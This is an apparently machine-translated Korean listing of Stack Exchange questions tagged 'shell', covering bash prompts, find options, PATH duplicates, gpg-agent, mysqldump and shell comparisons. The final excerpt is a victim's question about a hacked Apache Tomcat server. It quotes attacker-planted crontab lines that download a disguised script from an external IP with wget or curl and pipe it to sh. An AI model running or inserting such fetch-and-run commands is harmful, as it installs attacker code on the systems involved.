«shell» 태그된 질문

쉘은 Unix와 유사한 운영 체제에서 가장 일반적으로 사용되는 명령 줄 인터프리터의 용어이지만보다 세부적인 방식으로 GUI 기반 운영 체제와 상호 작용하는 데 사용됩니다. 사용자는 텍스트 인터페이스에서 프로그램을 실행할 수있을뿐만 아니라 변수, 대체, 출력 리디렉션 및 와일드 카드와 같은 기본 프로그래밍 기능을 제공합니다.

3
배쉬 : 마지막 명령의 출력이 줄 바꿈으로 끝나는 지 아는 방법?
대부분의 경우 명령 출력은 개행 문자로 끝납니다. 그러나 때로는 그렇지 않기 때문에 다음 쉘 프롬프트는 출력과 함께 같은 줄에 인쇄됩니다. 예: root @ hostname [~] # echo -n hello helloroot @ hostname [~] # 나는 항상 매우 성가신 것을 발견했습니다. 이제 PS1 변수의 시작 부분에 "\ n"을 추가 할 수 …
10 linux  bash  shell  prompt 

3
찾기의 진정한 옵션 : 무엇을 위해?
GNU 찾기 (및 기타?)는이 -true정상과 함께 시험 -name, -mode, -user등을. 매뉴얼 페이지에서 : -true 항상 참. 맨 페이지를 볼 때마다이 사실을 알고 언제 유용한 지 궁금합니다. 그래서, 그것이 언제 유용한 지 몇 가지 예를 들어주세요 : ~)
10 linux  shell  find 

5
방금 해당 파일을 옮긴 디렉토리로 어떻게 변경합니까?
방금 완료했다고 가정 해 봅시다. mv ./myfile /to/some/other/place/ 이제 파일을 따르고 해당 디렉토리로 이동하기로 결정했습니다. 마우스로 갈 수는 있지만 텍스트를 선택하고 'cd'를 입력 한 다음 마우스 오른쪽 버튼을 클릭하여 붙여 넣기하십시오. 더 빠른 키보드 기반 디렉토리를 선호합니다. 가장 좋은 방법은 무엇입니까? (일반적으로 Centos + Bash가 다르면)
10 linux  unix  bash  shell  directory 

4
gpg-agent는 에이전트가 존재하지만 gpg는 에이전트가 존재하지 않는다고 표시합니까?
bash데비안 6.0.6 상자에서 gpg를 스크립팅하는 동안 몇 가지 문제로 어려움을 겪고 있습니다. 일괄 작업을 수행하는 스크립트가 있으며 진행하기 전에 gpg 에이전트가 사용 가능한지 확인하려고합니다. gpg-agent는 이미 실행 중일 때 실행되지 않으면 조치를 취하지 않고 성공을 리턴하므로 에이전트가 존재하는지 확인하는 것은 다음과 같이 간단합니다. eval $(gpg-agent --daemon) gpg-agent 시작하거나보고합니다 : gpg-agent[21927]: …
9 scripting  shell  gpg 

5
쉘에서 base32로 인코딩
쉘에서 직접 입력 문자열을 base32 인코딩으로 인코딩하려고합니다. 우분투 에서이 작업을 수행하려고하지만 맛이 특히 중요하지 않다고 생각합니다. 단순히 이것을하기 위해 기존의 리눅스 / 유닉스 도구가 있습니까? 다음과 같은 내용이 있습니다. -bash-3.2$ echo -n 'hello' | base32


4
Unix shell의 exec와 동등한 Windows CMD가 있습니까?
Windows에서 Unix Shell의 "exec"에 해당하는 것이 있습니까? 기본적으로 프로세스 ID뿐만 아니라 입력 / 출력 파이프가 보존되도록 새 프로세스를 포크하지 않아야합니다. 편집하다: 자, 여기 내 문제가 있습니다. 스크립트를 시작하는 프로세스 A가 있고이 스크립트는 프로세스 B를 실행하여 종료됩니다 .A는 B의 모든 출력을 가져오고 생성 된 프로세스 (스크립트)를 종료하여 B를 죽일 수 있어야합니다. …

6
PATH 변수에서 중복 항목 제거
.bashrc를 자주 수정 한 다음 소스를 만듭니다. 그러나 export PATH="~/bin:~/perl5/bin:$PATH"내 파일 과 같은 것이 있으면 파일을 PATH소스 할 때마다 환경 변수가 커집니다. 예를 들어, .bashrc가 처음 제공 될 때 PATH변수는로 구성됩니다 ~/bin:~/perl5/bin:/usr/bin:/bin. 두 번째로 구성됩니다 ~/bin:~/perl5/bin:~/bin:~/perl5/bin:/usr/bin:/bin. 세 번째로 구성됩니다 ~/bin:~/perl5/bin:~/bin:~/perl5/bin:~/bin:~/perl5/bin:/usr/bin:/bin. PATH에없는 것을 추가하는 간단한 방법이 있습니까?
9 bash  shell  path  bashrc 


2
Redhat에서 "kernel.suid_dumpable = 1"은 무엇을 의미합니까?
bash 스크립트를 실행하여 일부 로그 파일을 복사 한 다음 Red Hat 상자에서 서비스를 다시 시작합니다. 스크립트를 실행할 때마다 콘솔에서 다음을 얻습니다. [root@servername ~]# sh /bin/restart_nss.sh kernel.suid_dumpable = 1 Stopping Service: [ OK ] Starting Service: [ OK ] [root@servername ~]# 이 경우 "kernel.suid_dumpable = 1"은 무엇을 의미합니까? 감사합니다, IVR 어벤져
9 bash  shell  redhat 

2
쉘 스크립트에서 암호를 묻는 mysqldump
특정 mysql 데이터베이스를 덤프하는 간단한 쉘 스크립트를 작성했습니다. 문제는 내가 제공하더라도 암호를 묻는 메시지입니다. mysql db는 5.0.27입니다. 여기에 내가 사용하고있는 특정 줄이 있습니다. $MYSQLDUMP -u backup -p$MyPass $DB > $DEST/$FILE 몇 가지 변형을 시도했지만 아무 소용이 없습니다.
9 mysql  shell 

8
유닉스 쉘의 비교
잠김 . 이 질문과 주제는 주제가 다르지만 역사적으로 중요하기 때문에이 질문과 답변은 잠겨 있습니다. 현재 새로운 답변이나 상호 작용을받지 않습니다. 주요 유닉스 쉘 (bash, ksh, tcsh, zsh 등) 중에서 서로를 사용해야하는 강력한 이유가 있습니까? 가장 대화 형 / 명령 줄 친화적 인 것은 무엇입니까? 스크립트 작성에 가장 도움이되고 직관적 인 …
9 linux  unix  shell 

6
cygwin / unix-shell에 비해 Powershell의 장점은 무엇입니까
잠김 . 이 질문과 주제는 주제가 다르지만 역사적으로 중요하기 때문에이 질문과 답변은 잠겨 있습니다. 현재 새로운 답변이나 상호 작용을받지 않습니다. 내가 알고있는 명백한 차이점은 Exchange와 같은 특정 MS 제품과 인터페이스 할 수 있다는 것입니다. 그러나 그러한 제품을 관리 할 필요가없는 경우 Powershell의 장점은 무엇입니까? Powershell을 배워야하는 이유는 무엇입니까 (bash와 cygwin에 …

1
스트림을 연결하는 방법?
내가 알고있는 cat파일을 연결할 수 있습니다,하지만 난 파일과의 혼합 연결하는 필요 스트림 다른 프로세스에 파이프 결과를. 질문을보다 구체적으로 만들기 위해 cat abc.sql함께 연결 하고 단일 스트림으로 파이프 gzip -dc xyz.sql.gz하고 싶습니다 .cat qvf.sqlmysql 이것을 달성하는 가장 좋은 방법은 무엇입니까?
9 shell  pipe  cat 

3
출처를 알 수없는 크론을 통해 Apache 서버에 대한 쉘 스크립트 공격
Apache Tomcat 서버에서 프로젝트 전쟁을 실행하는 동안 서버가 손상되었음을 알았습니다. 알 수없는 전쟁을 실행하는 동안 cron다음과 같이 실행 [root@App2 tmp]# crontab -l -u tomcat */11 * * * * wget -O - -q http://91.230.47.40/pics/logo.jpg|sh */12 * * * * curl http://91.230.47.40/pics/logo.jpg|sh 다운로드 된이 logo.jpg악성 코드를 다운로드하는 쉘 스크립트를 가지고있다. 아래 …

당사 사이트를 사용함과 동시에 당사의 쿠키 정책개인정보 보호정책을 읽고 이해하였음을 인정하는 것으로 간주합니다.
Licensed under cc by-sa 3.0 with attribution required.